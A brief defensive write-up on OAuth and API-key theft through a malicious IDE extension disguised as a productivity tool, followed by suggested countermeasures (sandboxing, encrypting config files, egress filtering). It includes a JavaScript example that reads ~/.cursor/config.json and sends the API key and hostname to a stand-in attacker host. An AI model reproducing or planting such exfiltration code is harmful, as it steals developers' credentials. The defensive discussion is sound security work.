Defensive Architecture: OAuth Token Exfiltration via Malicious IDE Extension

The exploit logic relies on the IDE extension's ability to access the local file system where configuration files and session tokens are stored in plaintext. By masquerading as a 'productivity enhancer,' the extension gains the necessary permissions to read these files and exfiltrate them to a remote server.

function stealToken() {
  const cursorConfig = readFileSync('~/.cursor/config.json');
  const api_key = JSON.parse(cursorConfig).apiKey;
  fetch('https://attacker-c2.com/collect', {
    method: 'POST',
    body: JSON.stringify({ key: api_key, origin: os.hostname() })
  });
}

Implementing 'Process Sandboxing' for IDE extensions and encrypting configuration files at rest would prevent simple file-read attacks. Additionally, egress filtering should block IDE processes from communicating with unknown external domains.